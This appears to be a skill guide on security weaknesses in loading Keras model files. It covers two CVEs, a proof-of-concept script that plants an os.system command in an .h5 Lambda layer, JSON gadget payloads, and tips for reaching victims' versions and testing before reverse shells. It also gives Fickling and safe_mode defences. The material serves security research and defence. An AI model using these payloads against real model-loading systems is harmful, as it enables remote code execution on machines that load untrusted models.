Keras Model Security Analysis
A skill for analyzing Keras model deserialization vulnerabilities, creating security test payloads, and assessing ML model file security.
When to use this skill
Use this skill when:
- Analyzing .keras or .h5 model files for security vulnerabilities
- Researching Keras deserialization attack surface
- Creating test payloads for security assessments
- Auditing ML model loading pipelines
- Investigating CVE-2024-3660 (Lambda bytecode RCE) or CVE-2025-1550 (arbitrary import)
- Hunting gadgets in allowlisted Keras modules
- Implementing Fickling-based pickle protections
- Understanding .keras format internals and attack vectors
Core Concepts
.keras Format Attack Surface
A .keras file is a ZIP archive containing:
metadata.json– Keras version infoconfig.json– Primary attack surface (model architecture)model.weights.h5– HDF5 weights
The config.json drives recursive deserialization where Keras:
- Imports modules from
modulekeys - Resolves classes/functions from
class_namekeys - Invokes constructors or
from_config()with attacker-controlled kwargs - Recurses into nested objects (activations, initializers, constraints)
Historical Attack Primitives
Attacker control over:
- What modules are imported
- Which classes/functions are resolved
- Kwargs passed to constructors/from_config
Vulnerability Analysis
CVE-2024-3660: Lambda-layer Bytecode RCE
Root cause: Lambda.from_config() used func_load() which base64-decoded and called marshal.loads() on attacker bytes.
Payload structure:
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_payload>"
}
}
}
Mitigation: Keras enforces safe_mode=True by default. Legacy formats or older codebases may not enforce this.
CVE-2025-1550: Arbitrary Module Import (Keras ≤ 3.8)
Root cause: _retrieve_class_or_fn used unrestricted importlib.import_module() with attacker-controlled module strings.
Impact: Arbitrary import of any installed module. Import-time code executes, then object construction occurs with attacker kwargs.
Security improvements (Keras ≥ 3.9):
- Module allowlist:
keras,keras_hub,keras_cv,keras_nlp - Safe mode default
- Basic type checking
Practical Exploitation
Legacy HDF5 (.h5) Lambda RCE
Many production stacks still accept legacy TensorFlow-Keras HDF5 files. A Lambda layer can execute arbitrary Python on load/build/predict.
Minimal PoC:
import tensorflow as tf
def exploit(x):
import os
os.system("<command>")
return x
m = tf.keras.Sequential()
m.add(tf.keras.layers.Input(shape=(64,)))
m.add(tf.keras.layers.Lambda(exploit))
m.compile()
m.save("exploit.h5")
Reliability tips:
- Trigger points: code may run multiple times (layer build, model.load_model, predict/fit). Make payloads idempotent.
- Version pinning: match victim's TF/Keras/Python versions
- Validation: use benign payloads like
os.system("ping -c 1 YOUR_IP")before reverse shells
Post-Fix Gadget Surface
Even with allowlisting, gadgets remain in allowed Keras callables. Example: keras.utils.get_file downloads arbitrary URLs.
Gadget via Lambda:
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
Important limitation: Lambda.call() prepends the input tensor as first positional argument. Gadgets must tolerate extra positional args or accept *args/**kwargs.
Fickling: Pickle Import Allowlisting
Many AI/ML formats (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, older TensorFlow) embed pickle data. Fickling implements fail-closed defense by hooking Python's pickle deserializer.
Security model for safe imports: Symbols must:
- Not execute code or cause execution
- Not get/set arbitrary attributes or items
- Not import or obtain references to other Python objects
- Not trigger secondary deserializers (marshal, nested pickle)
Enable protections:
import fickling
fickling.hook.activate_safe_ml_environment()
Operational tips:
- Temporarily disable where needed for fully trusted files
- Extend allowlist after reviewing blocked symbols
- Use
fickling.load(path)/fickling.is_likely_safe(path)for one-off checks - Prefer non-pickle formats (SafeTensors) when possible
Researcher Toolkit
1. Gadget Discovery Script
Use scripts/enumerate_keras_gadgets.py to systematically enumerate potentially dangerous callables in allowlisted Keras modules.
2. Direct Deserialization Testing
Test crafted dicts directly into Keras deserializers without creating .keras archives:
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True)
3. Cross-Version Probing
Test across Keras codebases:
- TensorFlow built-in Keras (legacy)
- tf-keras (maintained separately)
- Multi-backend Keras 3 (official, native .keras)
Security Recommendations
- Enable safe_mode when loading models:
load_model(path, safe_mode=True) - Use Fickling for pickle-based model formats
- Pin versions to Keras ≥ 3.9 with security fixes
- Prefer SafeTensors over pickle-based formats
- Run loaders under least privilege without network egress
- Validate model files before loading in production
- Monitor for unexpected imports during model loading
Scripts
scripts/enumerate_keras_gadgets.py– Enumerate dangerous callables in Keras modulesscripts/test_deserialization.py– Test crafted config dicts against Keras deserializersscripts/analyze_keras_file.py– Inspect .keras file structure and config.json